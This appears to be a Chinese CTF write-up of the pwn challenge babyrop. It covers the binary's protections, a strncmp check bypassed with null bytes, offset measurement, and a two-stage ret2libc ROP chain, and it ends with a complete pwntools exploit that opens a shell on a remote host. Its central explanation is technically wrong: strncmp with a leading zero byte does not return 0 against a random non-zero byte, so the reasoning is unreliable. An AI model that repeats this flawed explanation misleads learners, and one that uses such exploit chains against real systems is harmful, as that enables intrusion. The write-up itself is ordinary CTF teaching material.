babyrop题目详解:从strncmp绕过到ret2libc ROP链构造
2026/9/15 18:36:34 网站建设 项目流程

这题我是在BUUCTF上刷到的,[OGeek2019]babyrop,名字叫baby,做起来却一点都不“婴儿”——它把栈溢出、绕过校验、ROP链构造、libc地址泄露这些pwn入门必备技能全串起来了。尤其适合刚把汇编和栈帧搞清楚、准备第一次独立打ROP的新手。我最初卡在strncmp的绕过上,后来把整个逻辑拆明白,发现它是很典型的“入门友好”题目:保护机制没有PIE,也没有canary,唯一的坎就是一个校验绕过。下面直接把我的分析路径和踩坑记录放出来。

1. 拿到题,先别急着打:文件与保护机制快速摸底

1.1 file与checksec信息解读

先说一下拿到题之后的固定动作。babyrop题目给的是一个ELF文件,没有给libc,所以第一步就是看它的基本属性。

file babyrop checksec --file=./babyrop

我本地当时输出大致是这样的:

babyrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, not stripped Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

这里每一项都不是白看的。32位程序意味着函数参数直接压栈,ROP链构造相对简单,不用像64位那样纠结rdi、rsi、rdx这些寄存器。No canary说明我们覆盖返回地址时不用考虑cookie,一下子省了很多麻烦。No PIE说明函数地址和GOT地址是固定的,可以直接从IDA里抄地址,不用泄露程序基址。NX enabled说明栈不可执行,所以别想着往栈上扔shellcode,老老实实走ROP。Partial RELRO说明GOT可写,虽然本题没用到GOT劫持,但至少说明可以利用got表泄露地址。整体判断下来,这就是一道非常标准的ret2libc练习题。

1.2 IDA反汇编与漏洞点定位

接着用IDA打开,main函数很短,反汇编之后的核心伪代码大概是这样的:

int __cdecl main() { int v1; int seed; int len; char buf[32]; v1 = open("/dev/urandom", 0); read(v1, &seed, 4u); close(v1); if ( seed > 0x20 ) len = 0x20; else len = seed; read(0, buf, 0x20u); if ( strncmp(buf, &seed, len) ) _exit(0); read(0, buf, 0x100u); return 0; }

这里有两个read:第一个read从标准输入读0x20字节到buf;第二个read仍然是从标准输入读0x100字节到同一个buf。第二个read的长度明显超过buf大小,因此会覆盖栈上的返回地址,触发栈溢出。

但是,在第一个read之后有一个校验:程序从/dev/urandom读入4字节随机数seed,然后把用户输入buf的前len字节和seed进行比较,len由seed决定,但最大限制为0x20。如果不相等就exit。所以漏洞利用的第一道坎,就是想个办法让strncmp返回0,从而绕过退出逻辑。

1.3 程序逻辑一句话总结

用一句话概括:先读种子,再让你输入32字节,校验不通过就自杀;通过之后又给你一次0x100字节的输入,这次直接溢出。全程没有canary,没有PIE,所以只要绕过了strncmp,后面基本上就是常规ROP操作。

这个设计其实很有“教学感”:考点不是单纯让你盲打溢出,而是先让你理解字符串比较的底层行为,再去做ROP。很多wp把精力都放在后半段,其实前半段的绕过才是这道题真正的门槛。我把这一点放在最前面说,是想提醒刚入门的朋友:别一上来就去找write、system的地址,先把程序的控制流看清,否则send过去的payload再漂亮也到不了溢出点。

2. 突破口:一个不起眼的strncmp坑

2.1 strncmp为什么会被全零输入绕过

很多新手第一次看这个校验,会觉得要猜中一个随机数才能通过,概率只有1/2^32,根本没法打。实际上这里完全可以不猜,因为strncmp是比较字符串的,而字符串的结束标志是'\x00'。

strncmp的原型是int strncmp(const char *s1, const char *s2, size_t n),它会逐字节比较s1和s2,一旦遇到'\x00'就认为字符串结束,或者比较完n个字节后结束,返回值为0表示相等。问题就在这:程序拿来和随机数比较的buf是我们完全可控的,如果我们往buf里塞满'\x00',也就是输入0x20个0字节,strncmp在比较第一个字节时,发现s1(也就是buf)的第一个字节是'\x00',它不会继续往下比较,而会直接认为两个字符串都结束了,于是返回0。这样校验就被绕过了。

这里稍微解释一下“字符串结束”这件事:你从终端输入的时候,'\x00'是看不见的,但pwntools的send可以精确发送任意字节。我们用b'\x00' * 0x20发过去,程序读入后buf的前32个字节全部是0,strncmp一看到开头这个0,即刻返回,根本不会去管seed是多少。所以正确姿势就是:每次都先发32个'\x00',把校验骗过去,再发真正的payload。

我在第一次做的时候就没有意识到这一点,随手send了'A'*32,结果程序直接exit,后面调试了很久才发现是卡在校验上。这个坑现在看起来很好笑,但对新手来说是很典型的认知盲区:总是把read和字符串输入混为一谈,觉得要“匹配随机数”,其实底层逻辑是字符串语义在作祟。

2.2 栈溢出触发点分析

绕过校验之后,程序执行到read(0, buf, 0x100u)。buf是栈上的一个局部数组,从IDA里看大概只有32字节左右,0x100字节读进来必然溢出。由于没有canary,从buf开头到返回地址之间的数据,全部可以被我们覆盖。

这里需要强调一下:溢出不是从“返回地址”开始的,而是从buf开头开始的。所以payload的组成是:前面填充offset个字节的垃圾数据,顶到返回地址,然后在返回地址位置放上ROP链或函数地址。这个offset不是buf的32字节,而是buf首地址到返回地址的间距。具体数值需要动态调试测量,不要偷懒直接猜。很多远程不通的情况,就是因为offset差了4字节或8字节,ROP链错位,程序直接崩了。

2.3 为什么选择ROP而不是shellcode

题目开了NX,栈上数据不可执行。如果把shellcode塞进buf,即使控制EIP跳到buf,CPU也会因为页属性不可执行而报段错误。所以只能复用程序本身已有的代码片段,也就是ROP。ROP的基本思想是用ret指令把一串被称为gadget的小片段串联起来,每个gadget末尾都是ret,这样栈上的返回地址可以一条条弹出,形成一段可控的执行流。

对于babyrop这种入门题,其实不需要找什么花哨的gadget。程序本身就导入了write函数,也依赖libc中的system。我们只需要先用write泄露出一个GOT表里的真实libc地址,然后回主函数重新走一遍漏洞,第二次用计算得到的system和"/bin/sh"地址直接调用。这就是经典的ret2libc。理解这一点,下面的攻击链就顺理成章了。

3. 攻击链构造:从泄露地址到getshell

3.1 计算偏移量:用cyclic一锤定音

不要靠肉眼看栈帧,直接用pattern工具生成特征字符串,把程序跑崩后,在core dump或gdb里找到ret地址对应的pattern偏移。pwntools自带cyclic,我当时的操作是这样的:

from pwn import * io = process('./babyrop') io.send(b'\x00' * 0x20) io.send(cyclic(0x200)) io.wait()

然后到gdb里看crash时的EIP,或者直接让程序崩掉后用dmesg看地址,再用cyclic_find算偏移。更直接的做法是用gdb跑一次:

gdb ./babyrop run < <(python3 -c "import sys; sys.stdout.buffer.write(b'\x00'*0x20 + b'A'*0x40 + b'BBBB')")

如果程序crash时EIP等于0x42424242,那偏移就是0x40,如果没崩就调整'A'的长度继续试。我当时用cyclic测出来偏移是0x4C,也就是76字节。不同IDA版本或编译选项可能会让栈布局略有变化,所以我不建议把某个固定偏移背下来,而是每次做题都用cyclic现测。这个习惯能帮你避免很多“本地能打、远程就打不了”的玄学问题。

3.2 第一次ROP:泄露write真实地址

我们需要知道libc基址,才能算出system和"/bin/sh"。办法是调用write@plt去把write@got里的内容打出来。32位程序调用write需要三个参数:fd=1,buf=write_got地址,count=4。ROP链在栈上安排如下:

payload = b'A' * offset payload += p32(write_plt) # 调用 write(1, write_got, 4) payload += p32(vuln_addr) # 函数返回地址,执行完后回到漏洞函数 payload += p32(1) # fd payload += p32(write_got) # 从got表取write地址 payload += p32(4) # 输出4字节

这里vuln_addr可以填main或者漏洞函数的地址。我建议直接用漏洞函数的入口地址,也就是包含校验和溢出的那个函数,这样能少走一次main的额外逻辑,简化流程。如果填main的地址,需要确认main是否只是简单调用了漏洞函数,如果还有别的栈操作,可能导致二次进入时栈不平衡。实际上,对于这种程序,直接返回漏洞函数入口是最稳妥的,变量会被重新初始化,没有副作用。

发送时注意,第一次还是要先发b'\x00' * 0x20骗过校验,再发上面的ROP链。接收方面,由于write只输出4字节,直接用io.recv(4)就能拿到write的真实地址。这一步别用recvline,因为write不是按行输出的,后面可能跟着其他数据,多读或少读都会影响后续解析。

3.3 libc基址计算与偏移查询

拿到write的真实地址后,要算libc基址。公式很简单:

libc_base = write_real_addr - write_offset

其中write_offset是write函数在libc中的偏移。这个偏移取决于远程服务器用的libc版本。题目没有直接给libc文件,所以需要猜或用工具。

常用做法有两个:一是用LibcSearcher,二是用已知libc数据库。LibcSearcher会根据你提供的函数名和地址,匹配可能的libc版本,然后用匹配到的libc去算system偏移。我当时的做法是:

import LibcSearcher libc = LibcSearcher.LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh')

如果比赛给了libc文件,那就更简单,直接用ELF读取偏移:

libc = ELF('./libc-2.23.so') libc_base = write_addr - libc.symbols['write'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

LibcSearcher的缺点是匹配可能不唯一,尤其是write这种短函数,多版本偏移一样的情况很常见。如果匹配出多个libc,建议选常见版本,或者用远程交互测试。实在不行就换用puts泄露,puts的偏移区分度更高,但需要处理输出截断和换行问题,对新手来说write更省心。

3.4 第二次ROP:执行system("/bin/sh")

泄露并计算出system_addr和binsh_addr后,重新走一遍漏洞函数。还是先发b'\x00' * 0x20绕过校验,然后构造第二个payload:

payload = b'A' * offset payload += p32(system_addr) payload += p32(0xdeadbeef) # system的返回地址,这里无关紧要 payload += p32(binsh_addr)

32位程序下,函数调用时栈上的布局是:[返回地址][参数1][参数2]...。所以跳转到system后,栈顶4字节是system的返回地址,紧接着4字节就是第一个参数。这里0xdeadbeef可以随便填,因为system("/bin/sh")成功后不会正常返回;即使返回也会崩,但我们只是想拿shell而已。

4. 完整exp与运行效果

4.1 exp源码与逐段注释

把上面所有步骤串起来,完整的exp长这样:

#!/usr/bin/env python3 from pwn import * context.arch = 'i386' context.log_level = 'info' def start(): if args.REMOTE: return remote('node4.buuoj.cn', 30000) # 换成实际端口 else: return process('./babyrop') elf = ELF('./babyrop') io = start() write_plt = elf.plt['write'] write_got = elf.got['write'] vuln_addr = 0x0804868B # 以IDA为准,指向漏洞函数入口 offset = 0x4C # 用cyclic实测,不要照抄 def bypass_check(): io.send(b'\x00' * 0x20) # stage 1: leak write@got bypass_check() payload = b'A' * offset payload += p32(write_plt) payload += p32(vuln_addr) payload += p32(1) payload += p32(write_got) payload += p32(4) io.send(payload) write_addr = u32(io.recv(4)) log.info(f'write_addr: {hex(write_addr)}') # 计算libc地址 libc_base = write_addr - 0xd43c0 # 例子偏移,根据实际libc修改 system_addr = libc_base + 0x3d200 # 例子偏移 binsh_addr = libc_base + 0x17e0f3 # 例子偏移 log.info(f'system_addr: {hex(system_addr)}') log.info(f'binsh_addr: {hex(binsh_addr)}') # stage 2: getshell bypass_check() payload = b'A' * offset payload += p32(system_addr) payload += p32(0xdeadbeef) payload += p32(binsh_addr) io.send(payload) io.interactive()

注释里我故意没写死偏移,因为每个平台的地址都可能不一样。做题最怕的就是看着别人的exp直接抄,结果换个环境就不行。你在复现时,vuln_addroffset都必须以自己实际反汇编和调试结果为准。

4.2 本地验证过程

本地跑的时候,我习惯先把日志级别调到debug。pwntools会显示send和recv的十六进制,一旦发现发送的\x00被吞掉,或者接收长度不对,可以马上定位。

如果一切正常,运行exp后你会看到一行write_addr: 0xf7...,随后进入交互模式,输入lscat flag等命令都能正确响应。这里有个小技巧:如果交互模式不出现$提示符,别慌,直接输入命令试试,有些环境shell不会回显提示符,但命令照样执行。

4.3 远程攻击时需要注意的坑

本地通了,远程不一定通,最常见的锅就是libc版本。如果远程没有给libc,用LibcSearcher匹配到的libc可能与远程不符,system偏移差一点就打不通。解决办法是观察泄露出来的write地址,有时候能看出是哪个libc版本;或者用多个libc版本逐一尝试。还有一点,远程环境往往是docker容器,glibc版本可能比较老,像ubuntu 16.04的libc-2.23在CTF里非常常见,可以先从常见版本试起。

另外,网络交互也有影响。write输出的4字节可能和后面数据混在一起,如果接收时用了recvline之类的不当接口,可能会多读或少读。稳妥做法是io.recv(4)精确取4字节,然后立刻处理。发送payload前要确保上一步已经完成,必要时加io.send而不是sendline,避免多出换行符污染栈数据。

5. 实战踩坑记录与通用建议

5.1 最常见的三个坑

第一个坑就是前面反复讲的,忘了发b'\x00' * 0x20,或者发送时用了sendline,导致buf里除了0之外还有一个0x0a,strncmp可能比较到0之前就发现不相等,直接被exit。我当时因为这个多出来的换行,卡了快二十分钟。

第二个坑是偏移算错。由于IDA版本或编译优化选项不同,buf到返回地址的偏移可能不是网上wp里的那个值。正确做法永远是动调确认,或者用cyclic。我见过很多人一本正经地照着wp里的偏移改exp,结果本地一跑全是crash。

第三个坑是libc基址算错。write泄露出来的地址是运行时地址,不是偏移,一定要减掉write在libc中的偏移。有些新手直接把write_addr当system_addr用,那肯定不行。用LibcSearcher时也要注意选择匹配度高的版本,最好用多个函数地址交叉验证。

5.2 适合新手的调试手段

调试栈溢出,推荐pwndbg。设一个断点在第二次read之后,比如b *0x080486E0(以IDA为准),run后输入payload,观察栈上从buf到返回地址的数据变化。用search-pattern可以快速找到"AAAA"在栈上的位置,从而算出偏移。

另一个好用的是cyclic配合gdb。让程序崩溃后,看EIP的值,再用cyclic_find得到偏移。这个过程不需要猜,非常可靠。如果不太会用gdb,也可以用IDA的远程调试直接看栈,不过不如gdb方便。

5.3 拿这道题练什么

这道题的价值在于它把几个核心知识点串联得很紧凑:字符串函数的绕过、栈溢出偏移计算、32位ROP传参、GOT泄露、libc版本匹配。做完它,你对ret2libc这条线的理解会从“背payload”变成“懂原理”。

想深入的话,可以再考虑几个变体:如果把canary打开,这道题就变成了“先泄露canary再溢出”;如果把PIE打开,就要额外泄露程序基址;如果把strncmp换成memcmp,全零绕过就失效了,需要另想思路。这些变体都是很好的后续练习方向。

好吧,这篇就写到这里。说实话,babyrop这题我做完之后最大的感觉是:pwn入门没那么玄乎,但细节多到让你怀疑人生。每个坑都是实实在在的,尤其是那个strncmp的全零绕过,如果你不是亲眼在gdb里看到程序老老实实地继续往下走,可能真的不太容易信。后来我又拿这道题反反复复试了好几种libc版本和不同的payload写法,发现每次都能学到点新东西。如果你也在刷BUUCTF,卡在这题的话,不妨按我上面的思路,从checksec开始一步步走一遍,坑踩过了,后面的ROP题目会顺很多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询